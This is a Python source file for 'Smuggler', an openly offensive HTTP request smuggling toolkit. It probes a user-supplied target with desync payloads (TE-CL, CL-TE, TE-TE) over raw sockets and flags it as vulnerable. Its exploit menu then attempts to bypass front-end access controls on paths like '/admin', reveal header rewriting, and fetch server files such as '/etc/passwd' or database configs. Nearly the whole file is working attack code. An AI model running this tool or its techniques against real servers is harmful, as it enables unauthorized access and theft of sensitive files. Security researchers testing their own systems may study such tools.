smuggler.py 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. Smuggler (HTTP -Smuggling- Attack Toolkit) - 2020 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with PandeMaths; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import sys, socket, ssl
  10. VERSION = "v:0.3beta"
  11. RELEASE = "28042020"
  12. SOURCE1 = "https://code.03c8.net/epsylon/smuggler"
  13. SOURCE2 = "https://github.com/epsylon/smuggler"
  14. CONTACT = "epsylon@riseup.net - (https://03c8.net)"
  15. try:
  16. import payloads.payloads # import payloads
  17. except:
  18. print ("\n[Info] Try to run the tool with Python3.x.y... (ex: python3 smuggler.py) -> [EXITING!]\n")
  19. sys.exit()
  20. VULNERABLE_LIST = []
  21. def set_target():
  22. target = input("\n + Enter TARGET (ex: 'http(s)://www.evilcorp.com'): ").lower()
  23. if target.startswith("http://"):
  24. target = target.replace("http://","")
  25. port = 80
  26. SSL = False
  27. elif target.startswith("https://"):
  28. target = target.replace("https://","")
  29. port = 443
  30. SSL = True
  31. else:
  32. print("\n"+"-"*45)
  33. print("\n[Error] Target is invalid: '"+str(target)+"'\n")
  34. print("-"*45)
  35. sys.exit()
  36. method = input("\n + Enter HTTP METHOD (default: 'POST'): ").upper()
  37. if method == "GET" or method == "POST":
  38. pass
  39. else:
  40. if method == "":
  41. method = "POST"
  42. else:
  43. print("\n"+"-"*45)
  44. print("\n[Error] Method is invalid: '"+str(method)+"'\n")
  45. print("-"*45)
  46. sys.exit()
  47. path = input("\n + Enter PATH (default: '/'): ")
  48. if path == "":
  49. path = "/"
  50. return target, port, SSL, method, path
  51. def detect(final): # detect menu
  52. target, port, SSL, method, path = set_target() # set target
  53. print("\n"+"="*50 + "\n")
  54. print("[Info] Starting -HTTP Smuggling- Timing detection ...")
  55. payloads_dsync = payloads.payloads.payloads # load payloads
  56. addr = (target, port)
  57. print("")
  58. for payload in payloads_dsync:
  59. attack_type = payload.split("#")[0]
  60. payload_type = payload.split("#")[1]
  61. print("="*50)
  62. print("Trying payload: ["+str(attack_type)+"]")
  63. print("="*50+"\n")
  64. payload = method+" "+path+" HTTP/1.1\r\nHost: "+target+"\r\n"+payload_type # main smuggling payload
  65. print("+ PAYLOAD:\n")
  66. print(payload)
  67. send_payload(attack_type, payload, addr, SSL) # send each payload
  68. if final == True:
  69. show_final_results(target, port, method, path, final)
  70. else:
  71. t, p, m, pt = show_final_results(target, port, method, path, final)
  72. return t, p, m, pt, SSL
  73. def send_payload(attack_type, payload, addr, SSL):
  74. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  75. if SSL == True: # ssl
  76. ss = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv23)
  77. try:
  78. if SSL == True: # ssl
  79. ss.connect(addr)
  80. else:
  81. s.connect(addr)
  82. except:
  83. print("-"*45)
  84. print("[Error] Generating socket... -> [PASSING!]")
  85. print("-"*45+"\n")
  86. s.close()
  87. if SSL == True: # ssl
  88. ss.close()
  89. return
  90. for i in range(0,10): # x10 tests
  91. if SSL == True: # ssl
  92. ss.send(payload.encode('utf-8'))
  93. else:
  94. s.send(payload.encode('utf-8'))
  95. datas=""
  96. while 1:
  97. if SSL == True: # ssl
  98. data = ss.recv(1024)
  99. else:
  100. data = s.recv(1024)
  101. if not data:
  102. break
  103. try:
  104. datas += str(data.decode('utf-8'))
  105. except:
  106. pass
  107. print("\n+ REPLY:\n")
  108. print(str(datas))
  109. resp_c=0
  110. resp=""
  111. wait=False
  112. for line in datas.split('\n'):
  113. if "502" in line or "501" in line or "404" in line or "405" in line:
  114. wait=False
  115. resp_c+=1
  116. else:
  117. wait=True
  118. if not wait:
  119. resp += line+'\n'
  120. print("-"*45)
  121. if resp_c > 0 and "not supported for current URL" in str(datas):
  122. print ("PAYLOAD: ["+str(attack_type)+"] is WORKING! ;-)")
  123. VULNERABLE_LIST.append(attack_type) # add attack type for results
  124. else:
  125. print ("PAYLOAD: ["+str(attack_type)+"] is NOT working...")
  126. print("-"*45+"\n")
  127. s.close()
  128. if SSL == True: # ssl
  129. ss.close()
  130. def show_final_results(target, port, method, path, final):
  131. print("="*50)
  132. print("\n+ Detection RESULT: -HTTP Smuggling- Timing Attack\n")
  133. print("-"*45+"\n")
  134. print(" - TARGET: "+str(target)+":"+str(port))
  135. print(" - Method: "+str(method))
  136. print(" - Path : "+str(path))
  137. TETE = False
  138. TECL = False
  139. CLTE = False
  140. CLCL = False
  141. if VULNERABLE_LIST:
  142. print("\n - STATUS: [ VULNERABLE !!! ]\n")
  143. for v in VULNERABLE_LIST: # resume vulnerable payloads found
  144. if v.startswith("TE-TE") and TETE == False: # TE-TE
  145. print(" * [TE-TE]: [Front-end: Transfer-Encoding] <-> [Back-end: Transfer-Encoding]")
  146. TETE = True
  147. elif v.startswith("TE-CL") and TECL == False: # TE-CL
  148. print(" * [TE-CL]: [Front-end: Transfer-Encoding] <-> [Back-end: Content-Length]")
  149. TECL = True
  150. elif v.startswith("CL-TE") and CLTE == False: # CL-TE
  151. print(" * [CL-TE]: [Front-end: Content-Length] <-> [Back-end: Transfer-Encoding]")
  152. CLTE = True
  153. else:
  154. print(" * [CL-CL]: [Front-end: Content-Length] <-> [Back-end: Content-Length]")
  155. CLCL = True
  156. else:
  157. print("\n - STATUS: [ NOT VULNERABLE ]")
  158. print("\n"+"="*50+"\n")
  159. sys.exit() # exit when not vulnerable!
  160. if final == False: # keep exploiting
  161. return target, port, method, path
  162. print("\n"+"="*50+"\n")
  163. def exploit(): # exploit menu
  164. exploit = input("\n+ SELECT EXPLOIT:\n\n (0) Verify Injection (Back-End)\n (1) Reveal Rewriting (Front-End)\n (2) Bypass ACLs (Front-End)\n (3) Fetch Files (Back-End)\n\n")
  165. if exploit == "0": # verify acccess (back-end)
  166. exploit_verify()
  167. elif exploit == "1": # reveal (front-end)
  168. exploit_reveal()
  169. elif exploit == "2": # bypass (front-end)
  170. exploit_bypass()
  171. elif exploit == "3": # fetch files (back-end)
  172. exploit_steal()
  173. else: # exit
  174. print ("[Info] Not any valid exploit selected... -> [EXITING!]\n")
  175. sys.exit()
  176. def send_exploit(addr, SSL, exploit, exploit_type):
  177. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  178. if SSL == True: # ssl
  179. ss = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv23)
  180. try:
  181. if SSL == True: # ssl
  182. ss.connect(addr)
  183. else:
  184. s.connect(addr)
  185. except:
  186. print("\n"+"-"*45)
  187. print("[Error] Generating socket... -> [PASSING!]")
  188. print("-"*45+"\n")
  189. s.close()
  190. if SSL == True: # ssl
  191. ss.close()
  192. return
  193. for i in range(0,2): # send exploit twice
  194. if SSL == True: # ssl
  195. ss.send(exploit.encode('utf-8'))
  196. else:
  197. s.send(exploit.encode('utf-8'))
  198. datas=""
  199. while 1:
  200. if SSL == True: # ssl
  201. data = ss.recv(1024)
  202. else:
  203. data = s.recv(1024)
  204. if not data:
  205. break
  206. try:
  207. datas += str(data.decode('utf-8'))
  208. except:
  209. pass
  210. print("\n+ REPLY:\n")
  211. print(str(datas))
  212. if exploit_type == "VERIFY":
  213. print("\n"+"-"*45)
  214. print("\n[Info] Congratulations!!! ;-)\n\n Your 'chunked' requests have arrived correctly: \n")
  215. if "YPOST not supported for current URL" in str(datas):
  216. print(" -> Invalid HTTP method: 'YPOST' (not supported)\n")
  217. elif "YGET not supported for current URL" in str(datas):
  218. print(" -> Invalid HTTP method: 'YGET' (not supported)\n")
  219. def exploit_verify():
  220. print("\n"+"="*50 + "\n")
  221. print("[Info] Trying to verify injections (generating Back-End errors)...")
  222. target, port, method, path, SSL = detect(False) # set target
  223. addr = (target, port)
  224. print("\n"+"-"*45)
  225. exploits_dsync = payloads.payloads.exploits # load exploits
  226. smuggled_method = payloads.payloads.methods # load methods
  227. for v in VULNERABLE_LIST:
  228. for exp in exploits_dsync:
  229. if exp.split("#")[0] in v:
  230. for s in smuggled_method:
  231. if s.split("#")[0] == "0": # verify reading
  232. s = s.replace("$method", method)
  233. s = s.replace("$path", path)
  234. s = s.replace("$target", target)
  235. smuggled = s.split("#")[1].replace("\n","")
  236. exploit = exp.split("#")[1]
  237. exploit = exploit.replace("$method", method)
  238. exploit = exploit.replace("$path", path)
  239. exploit = exploit.replace("$target", target)
  240. content_length = len(smuggled)-1
  241. exploit = exploit.replace("$CL", str(content_length))
  242. exploit = exploit.replace("$SMUGGLED", smuggled)
  243. print("\n"+"="*50+"\n")
  244. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  245. print(str(exploit))
  246. send_exploit(addr, SSL, exploit, "VERIFY") # send expoit
  247. def exploit_reveal():
  248. print("\n"+"="*50 + "\n")
  249. print("[Info] Trying to reveal Front-End rewriting...")
  250. target, port, method, path, SSL = detect(False) # set target
  251. addr = (target, port)
  252. print("\n"+"-"*45)
  253. parameter = input("\n + Enter PARAMETER reflected (ex: 'q', '_username', ...): ")
  254. exploits_dsync = payloads.payloads.exploits # load exploits
  255. smuggled_method = payloads.payloads.methods # load methods
  256. for v in VULNERABLE_LIST:
  257. for exp in exploits_dsync:
  258. if exp.split("#")[0] in v:
  259. for s in smuggled_method:
  260. if s.split("#")[0] == "1": # reveal rewriting
  261. s = s.replace("$method", method)
  262. s = s.replace("$path", path)
  263. s = s.replace("$target", target)
  264. s = s.replace("$parameter", parameter)
  265. content_length = len(parameter)+2+50
  266. s = s.replace("$CL", str(content_length))
  267. smuggled = s.split("#")[1]
  268. exploit = exp.split("#")[1]
  269. exploit = exploit.replace("$method", method)
  270. exploit = exploit.replace("$path", path)
  271. exploit = exploit.replace("$target", target)
  272. exploit = exploit.replace("$parameter", parameter)
  273. content_length = len(smuggled)
  274. exploit = exploit.replace("$CL", str(content_length))
  275. exploit = exploit.replace("$SMUGGLED", smuggled)
  276. print("\n"+"="*50+"\n")
  277. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  278. print(str(exploit))
  279. send_exploit(addr, SSL, exploit, "REVEAL") # send expoit
  280. def exploit_bypass():
  281. print("\n"+"="*50 + "\n")
  282. print("[Info] Trying to bypass Front-End ACLs...")
  283. target, port, method, path, SSL = detect(False) # set target
  284. addr = (target, port)
  285. print("\n"+"-"*45)
  286. restricted = input("\n + Enter RESTRICTED ZONE (ex: '/admin', /wp-admin/, ...): ")
  287. exploits_dsync = payloads.payloads.exploits # load exploits
  288. smuggled_method = payloads.payloads.methods # load methods
  289. for v in VULNERABLE_LIST:
  290. for exp in exploits_dsync:
  291. if exp.split("#")[0] in v:
  292. for s in smuggled_method:
  293. if s.split("#")[0] == "2": # bypass ACLs
  294. s = s.replace("$method", method)
  295. s = s.replace("$path", path)
  296. s = s.replace("$target", target)
  297. s = s.replace("$restricted", restricted)
  298. content_length = 10 # $CL method
  299. s = s.replace("$CL", str(content_length))
  300. smuggled = s.split("#")[1]
  301. exploit = exp.split("#")[1]
  302. exploit = exploit.replace("$method", method)
  303. exploit = exploit.replace("$path", path)
  304. exploit = exploit.replace("$target", target)
  305. exploit = exploit.replace("$restricted", restricted)
  306. content_length = len(smuggled)
  307. exploit = exploit.replace("$CL", str(content_length))
  308. exploit = exploit.replace("$SMUGGLED", smuggled)
  309. print("\n"+"="*50+"\n")
  310. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  311. print(str(exploit))
  312. send_exploit(addr, SSL, exploit, "BYPASS") # send expoit
  313. def exploit_steal():
  314. print("\n"+"="*50 + "\n")
  315. print("[Info] Trying to fetch files (via Back-End) from server...")
  316. target, port, method, path, SSL = detect(False) # set target
  317. addr = (target, port)
  318. print("\n"+"-"*45)
  319. files = input("\n + Enter FILE (ex: '/etc/passwd', '/server/config_db.php', ...): ")
  320. exploits_dsync = payloads.payloads.exploits # load exploits
  321. smuggled_method = payloads.payloads.methods # load methods
  322. for v in VULNERABLE_LIST:
  323. for exp in exploits_dsync:
  324. if exp.split("#")[0] in v:
  325. for s in smuggled_method:
  326. if s.split("#")[0] == "3": # fetch files
  327. s = s.replace("$method", method)
  328. s = s.replace("$path", path)
  329. s = s.replace("$target", target)
  330. s = s.replace("$files", files)
  331. content_length = len(files)+2 # p=len(files)
  332. s = s.replace("$CL", str(content_length))
  333. smuggled = s.split("#")[1]
  334. exploit = exp.split("#")[1]
  335. exploit = exploit.replace("$method", method)
  336. exploit = exploit.replace("$path", path)
  337. exploit = exploit.replace("$target", target)
  338. exploit = exploit.replace("$files", files)
  339. content_length = len(smuggled)
  340. exploit = exploit.replace("$CL", str(content_length))
  341. exploit = exploit.replace("$SMUGGLED", smuggled)
  342. print("\n"+"="*50+"\n")
  343. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  344. print(str(exploit))
  345. send_exploit(addr, SSL, exploit, "STEAL") # send expoit
  346. def print_banner():
  347. print("\n"+"="*50)
  348. print(" ____ __ __ _ _ ____ ____ _ _____ ____ ")
  349. print("/ ___|| \/ | | | |/ ___|/ ___| | | ____| _ \ ")
  350. print("\___ \| |\/| | | | | | _| | _| | | _| | |_) |")
  351. print(" ___) | | | | |_| | |_| | |_| | |___| |___| _ < ")
  352. print("|____/|_| |_|\___/ \____|\____|_____|_____|_| \_\ by psy")
  353. print('\n"HTTP -Smuggling- (DSYNC) Attacking Toolkit"')
  354. print("\n"+"-"*15+"\n")
  355. print(" * VERSION: ")
  356. print(" + "+VERSION+" - (rev:"+RELEASE+")")
  357. print("\n * SOURCES:")
  358. print(" + "+SOURCE1)
  359. print(" + "+SOURCE2)
  360. print("\n * CONTACT: ")
  361. print(" + "+CONTACT+"\n")
  362. print("-"*15+"\n")
  363. print("="*50)
  364. # sub_init #
  365. print_banner() # show banner
  366. option = input("\n+ CHOOSE: (D)etect or (E)ploit: ").upper()
  367. print("\n"+"="*50)
  368. if option == "D": # detecting phase
  369. detect(True) # only detect
  370. elif option == "E": # trying to exploit
  371. exploit()
  372. else:
  373. print("\n"+"-"*45+"\n")
  374. print("[Smuggler by psy (https://03c8.net)]\n\n Bye! ;-)\n")
  375. sys.exit()